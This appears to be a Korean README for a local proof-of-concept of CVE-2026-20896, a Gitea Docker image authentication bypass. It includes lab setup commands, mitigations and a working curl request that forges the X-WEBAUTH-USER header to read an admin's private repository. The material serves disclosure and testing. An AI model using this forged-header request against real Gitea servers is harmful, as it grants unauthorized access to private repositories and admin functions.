
CVE-2026-20896 — Updated!
Gitea Docker 이미지 인증 우회
CVE-2026-20896: Gitea Docker 이미지 인증 우회 PoC
[!WARNING] 이 PoC는 로컬 실습 환경 또는 명시적으로 테스트 권한을 부여받은 시스템에서만 사용하십시오.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
개요
CVE-2026-20896은 영향을 받는 공식 Gitea Docker 이미지의 인증 우회 취약점입니다. 리버스 프록시 인증이 활성화된 경우, 이미지에서 생성된 REVERSE_PROXY_TRUSTED_PROXIES = * 설정으로 인해 Gitea 백엔드에 접근할 수 있는 클라이언트가 X-WEBAUTH-USER 헤더를 통해 기존 사용자로 위장할 수 있습니다.
이 실습 환경은 gitea-admin이라는 관리자를 임의의 비밀번호로 생성하고, gitea-admin/private-proof라는 비공개 저장소에 CVE-2026-20896_AUTH_BYPASS_CONFIRMED를 저장합니다. 임의의 관리자 비밀번호를 모른 채 해당 파일을 읽을 수 있다면 인증 우회가 입증됩니다.
영향을 받는 버전
| 구분 | 버전 |
|---|---|
| 취약한 버전 | 공식 gitea/gitea Docker 이미지 ≤ 1.26.2 |
| 최초 패치 | 1.26.3 |
| 권장 버전 | 1.26.4 이상 |
취약한 구성은 리버스 프록시 인증이 활성화되어 있고 Gitea 백엔드에 직접 접근할 수 있어야 하며, 업스트림 프록시가 공격자가 제공한 신원 헤더를 보존해야 합니다. 이 로컬 재현에는 리버스 프록시 컨테이너가 필요하지 않습니다.
환경 구성
# 빌드
docker build -t cve-2026-20896-gitea-vuln .
# 실행
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea와 비공개 증명 저장소가 초기화될 때까지 몇 초간 기다리십시오.
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
성공적인 익스플로잇은 CVE-2026-20896_AUTH_BYPASS_CONFIRMED를 반환합니다.
Python
python poc.py http://127.0.0.1:3000
이 스크립트는 인증되지 않은 요청, 비관리자 요청, 위조된 관리자 요청을 비교하여 인증 우회가 확인되면 VULNERABLE을 출력합니다. Python 3.10 이상이 필요하며 표준 라이브러리만 사용합니다.
영향
- 알려졌거나 추측 가능한 Gitea 사용자로의 위장
- 비공개 저장소 및 사용자 리소스에 대한 무단 접근
- 관리자 계정이 위장될 경우 관리 작업 수행
완화 방안
- Gitea 1.26.3 이상으로 업그레이드하십시오. 1.26.4 이상을 권장합니다.
REVERSE_PROXY_TRUSTED_PROXIES를 신뢰할 수 있는 프록시 주소로 제한하십시오.- Gitea 백엔드에 대한 직접 접근을 차단하고 외부에서 제공된 신원 헤더를 덮어쓰십시오.
- 필요하지 않은 경우 리버스 프록시 인증을 비활성화하십시오.
정리
docker stop cve-2026-20896-gitea-vuln